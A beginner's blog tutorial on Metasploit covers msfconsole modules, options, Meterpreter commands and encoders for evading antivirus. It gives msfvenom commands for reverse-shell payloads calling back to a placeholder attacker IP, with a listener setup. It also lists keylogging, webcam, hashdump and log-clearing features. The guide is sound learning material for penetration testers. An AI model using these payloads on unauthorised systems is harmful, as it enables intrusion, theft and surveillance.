Metasploit Essentials: Practical Penetration Testing Techniques

Hi! It is time to look at the essentials of Metasploit, an extremely powerful framework that automates a part of the penetation testing process. This beginner’s guide will walk you through the essential steps to get started with Metasploit, from installation to conducting your first penetration test. I will try to cover every step on the way to a succesfull exploit, while explaining basic concepts and theory.

I am making these walkthroughs to help solidify the knowledge I gain while on this exciting jouey. I hope that it can help others as well. Join me on learning cyber security. I will try and explain concepts as I go, to differentiate myself from other walkthroughs.

Introduction to Metasploit

Metasploit is a powerful penetration testing framework that allows cybersecurity professionals and ethical hackers to assess the security of networks and systems. To be more specific, Metasploit allows you to:

• Conduct network reconnaissance
• Find vulnerabilities on a target system
• Search for and run exploits abusing these vulnerabilities
• Transfer payloads and encode them
• Help with privilege escalation

So yes, Metasploit is extremely powerful! Use it wisely and you will obtain near limitless power, but don’t get dependant on it 🙂

By the way, if you are confused about the difference between exploits and payloads, I made the following article:

Exploits and Payloads Essentials (Including a Metasploit Primer)

Remember that using msfvenom and the Metasploit Framework for unauthorized or malicious activities is illegal and unethical. Always ensure you have proper authorization and are using these tools for legitimate security testing or educational purposes. Wit that over with, let’s get started!

Install Metasploit

Metasploit is probably already installed on your system if you are using Kali Linux. If not, it is quickly installed by running the following command:

sudo apt install metasploit-framework

After installation, it’s crucial to keep Metasploit up-to-date to access the latest exploits and modules. Open a terminal or command prompt and run:

sudo apt update && sudo apt install metasploit-framework

Now we are ready to start up Metasploit. We will launch a command-line interface called the Metasploit Console. To start it, simply run:

msfconsole

Basic commands

You now have entered msfconsole, a command-line interface for the framework.
It is important to note that there is also a paid GUI version with greater functionality.
Here are some essential commands which we will cover during this artcle:

• help: Displays a list of available commands
• search <keyword>: Searches for modules based on a keyword.
• use <module>: Selects a module for use.
• show options: Displays the options available for the selected module.
• set <option> <value>: Sets the value of an option for the selected module.
• exploit` or run: Executes the selected module with the configured options.

That’s fine and all, but most of these commands mention modules. What are these? I’m glad you asked.

Modules

Metasploit is organized into various modules, including exploit modules, auxiliary modules, and post-exploitation modules.
It makes the most sense to think of these modules as a bundling of scripts divided into different categories. The exploit module for example, includes so-called proof-of-concept (POCs) that can be used to exploit existing vulnerabilities in a largely automated manner.

Searching for modules

Most of the times when you start msfconsole, you will start by using the search command, to find a specific module. (use help search if you want more help).

While you could just add a simple command like search eternal blue , this could theoretically return hundreds of modules since there are many modules available in Metasploit. That’s why I recommend you to use search operators.

The following are search operators that are available:

• name
• path
• platform
• type
• app
• author
• cve
• bid
• osdvb

Of particular interest is the module type. Modules can have different types, and this is a major way to group them. The following types are available:

These search operators narrow the results you get from your search command. Examples of this are for example:

search platform:Windows
search type:exploit eternal blue

This will save you a lot of time!

Use-ing a module (selecting)

Once you’ve found a relevant exploit module, use the use command to select it:

use exploit/windows/smb/ms08_067_netapi

An alternative is to select the module by the specific id found in the search results:

use 7

Now that you have loaded a module, you can use the info command to read more about the selected module.

To proceed it is time to set the relevant options.

Setting options of a module

Use the show options command to see the available options for the selected module. Note, that these options can differ a lot between modules, so have a look at the options after selecting a new module.

When  you found an option to change, you can use the set command to configure the necessary options for the selected exploit module, such as the target IP address and payload.

Parameters you will often use are:

• RHOSTS: “Remote host”, the IP address of the target system. A single IP address or a network range can be set. You can also use a file where targets are listed, one target per line using file:/path/of/the/target_file.txt.
• RPORT: “Remote port”, the port on the target system the vulnerable application is running on.
• LHOST: “Localhost”, the attacking machine (your AttackBox or Kali Linux) IP address.
• LPORT: “Local port”, the port you will use for the reverse shell to connect back to. This is a port on your attacking machine.

Here is an example:

set RHOSTS 10.10.25.71
set LPORT 4141

Running a module

Finally, execute the exploit using the exploit or run command.

Metasploit will attempt to exploit the target system based on your configurations. If you are lucky you will gain a shell on the target system. But often we need to adjust more settings. Let’s discuss other important Metasploit concepts now, such as targets, exploits, and Meterpreter shells..

Targets

Targets relate to the unique operation system identifier that will be targeted by the module. When you select a different target, the selected exploit module will adapt to run on that particular target OS. Some examples of when this is relevant is when some exploits need to specify the 64 or 32 bit architecture. Another example is that some exploits support several Windows versions. If you know this about the target, the chance of success will be higher.

To find out which targets are available for the selected exploit, we can run:

show targets

The show targets command issued within an exploit module view will display all available vulnerable targets for that specific exploit.

Generally, Metasploit is smart enough to set the right target, but in some cases it is a good idea to manually adjust it based on what you have learned about the target system.

Payloads

Once you’ve set the exploit options, you can choose the payload you want to use. There are two different type of payloads in Metasploit:

• Singles: Self-contained payloads (add user, launch notepad.exe, etc.) that do not need to download an additional component to run.
• Staged: Staged payloads will first upload a stager on the target system then download the rest of the payload (stage). This provides some advantages as the initial size of the payload will be relatively small, making these payloads less likely to be discovered.

Use the show payloads command to list available payloads for the selected exploit module. You might want to know if a payload is staged or single. If we look at: windows/shell/reverse_tcp and windows/shell_reverse_tcp, the one with the forward slash indicates that is a “staged” payload, the one with the underscore means it’s “single”.

Once you have found one you like you can use the set payloadcommand followed by the name of the payload you want to use.

set payload windows/meterpreter/reverse_tcp

Or you can select the payload by using the id shown  in the show payloads results.

set payload 16

After setting the payload we have to set some options again.

For the payload part, we will need to set the following two parameters:

LHOST: The attacker’s IP address

LPORT: Listener port on attacker’s machine

When you are done setting up you can once again run the exploit. Hopefully you will get a shell. Depending on the type of payload, you might get a meterpreter shell. A what you say?

Meterpreter Payload

Before we move on, an important concept to cover is the Meterpreter payload. This is a versatile payload that utilizes DLL injection to establish a stable and covert connection with the victim host. It is designed to be persistent across reboots or system changes, while remaining difficult to detect through conventional forensic techniques. Meterpreter operates entirely in the host’s memory, leaving no traces on the hard drive. Furthermore, it allows for dynamic loading and unloading of scripts and plugins as needed.

Upon execution of the Meterpreter payload, a new session is created, spawning the Meterpreter interface. This interface resembles the msfconsole interface, but its commands are focused on the target system that the payload has “infected.” It feels like a regular shell, but you should see it as a shell on steroids. It’s extremely powerful.

To give an idea on which commands you can use, here are the core commands in the output of the help menu:

Core commands

• background: Backgrounds the current session
• exit: Terminate the Meterpreter session
• guid: Get the session GUID (Globally Unique Identifier)
• help: Displays the help menu
• info: Displays information about a Post module
• irb: Opens an interactive Ruby shell on the current session
• load: Loads one or more Meterpreter extensions
• migrate: Allows you to migrate Meterpreter to another process
• run: Executes a Meterpreter script or Post module
• sessions: Quickly switch to another session

File system commands

• cd: Will change directory
• ls: Will list files in the current directory (dir will also work)
• pwd: Prints the current working directory
• edit: will allow you to edit a file
• cat: Will show the contents of a file to the screen
• rm: Will delete the specified file
• search: Will search for files
• upload: Will upload a file or directory
• download: Will download a file or directory

Networking commands

• arp: Displays the host ARP (Address Resolution Protocol) cache
• ifconfig: Displays network interfaces available on the target system
• netstat: Displays the network connections
• portfwd: Forwards a local port to a remote service
• route: Allows you to view and modify the routing table

System commands

• clearev: Clears the event logs
• execute: Executes a command
• getpid: Shows the current process identifier
• getuid: Shows the user that Meterpreter is running as
• kill: Terminates a process
• pkill: Terminates processes by name
• ps: Lists running processes
• reboot: Reboots the remote computer
• shell: Drops into a system command shell
• shutdown: Shuts down the remote computer
• sysinfo: Gets information about the remote system, such as OS

Others Commands

• idletime: Returns the number of seconds the remote user has been idle
• keyscan_dump: Dumps the keystroke buffer
• keyscan_start: Starts capturing keystrokes
• keyscan_stop: Stops capturing keystrokes
• screenshare: Allows you to watch the remote user’s desktop in real time
• screenshot: Grabs a screenshot of the interactive desktop
• record_mic: Records audio from the default microphone for X seconds
• webcam_chat: Starts a video chat
• webcam_list: Lists webcams
• webcam_snap: Takes a snapshot from the specified webcam
• webcam_stream: Plays a video stream from the specified webcam
• getsystem: Attempts to elevate your privilege to that of local system
• hashdump: Dumps the contents of the SAM database

Sessions & Post-Exploitation

If the exploitation is successful, you’ll enter a post-exploitation phase. You can use various post-exploitation modules to gather information, maintain access, and perform additional actions on the compromised system.

It is time to use some port-exploitation commands. Start by backgrounding your shell (Control-Z).
Take a look at the session ID by entering:

 sessions -l

Search for the right module by entering search enum. This result showed up:

This sounds interesting. Load it and set the session option to 1.

Now, you can run the post exploitation module which will run on the previously established session. You will now be able to run different actions that will increase your control over the system.

Encoders

Encoders are a feature I briefly want to mention, although perhaps not very essential at this point in our journey. Encoders are tools or techniques used to transform data in a way that makes it more difficult for security systems, such as intrusion detection systems (IDS) or antivirus software, to detect and block malicious payloads. Encoders are commonly employed when trying to evade detection during the exploitation phase of a penetration test or a real-world attack.

Encoders transform the original payload, which is typically shellcode or other forms of malicious code, into an altered form that still accomplishes the same objective but is no longer easily recognizable by signature-based security systems.

We can list the available encoders with show encoders.

Like the available payloads, these are automatically filtered according to the exploit module only to display the compatible ones.

MSFVenom

Msfvenom, which replaced Msfpayload and Msfencode, allows you to generate payloads. Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to create payloads in many different formats and for many different target systems.

Why is this even necessary? While msfconsole is perfect if you have a network connection to the target, sometimes you need to manually upload a payload to a server, or send it with an email. For this msfvenom is the right tool.

How to create a payload

When using msfvenom the general exploit steps are:

1. Generate the payload using MSFvenom

MSFvenom will require a payload, the local machine IP address, and the local port to which the payload will connect. A general payload is created like so:

msfvenom -p <payload> [options]

<payload>: Specify the payload you want to generate. This can be any payload supported by Metasploit, such as windows/meterpreter/reverse_tcp for a Windows Meterpreter reverse shell.

Depending on the payload and its specific requirements, you’ll need to provide additional options. These options vary depending on the payload, but common ones include:

• -f <format>: Specify the output format for the payload (e.g., exe, dll, python, bash).
• –o <output_file>: Specify the filename for the generated payload.
• LHOST=<listener_IP>: Set the IP address of the listener (your attacking machine).
• LPORT=<listener_port>: Set the port number on which the payload will connect back to your listener.

Example payload commands:

Based on the target system’s configuration (operating system, installed webserver, interpreter, etc.), msfvenom can be used to create payloads in almost all formats. Below are a few examples you will often use, depending on the target system:

• Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
• PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
• ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
• Python msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

2. Setup a listener:

To catch the incoming connection from the generated payload, you’ll need to set up a listener using the Metasploit Framework. You can do this for example by using the exploit/multi/handler.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST <Attacker IP>
set LPORT <Attacker listening port>
exploit

3. Execute the Payload: Now that you have the payload and the listener set up, you can deliver the payload to the target system. The method of delivery will depend on your specific scenario, but common techniques include email attachments, social engineering, or exploiting vulnerabilities.

4. Session: If the payload execution is successful, you should see a Meterpreter session established in your msfconsole session. You can then interact with the compromised system using various Meterpreter commands.

Conclusion

Metasploit is a powerful tool for ethical hacking and penetration testing, but it should always be used responsibly and with proper authorization. This beginner’s guide provides a foundation for getting started with Metasploit, but there is much more to explore as you gain experience. Continuously learn and practice to become proficient in using this valuable cybersecurity tool. I sincerely hope you enjoyed this article on Metasploit Essentials.

You can find my other walkthroughs here.

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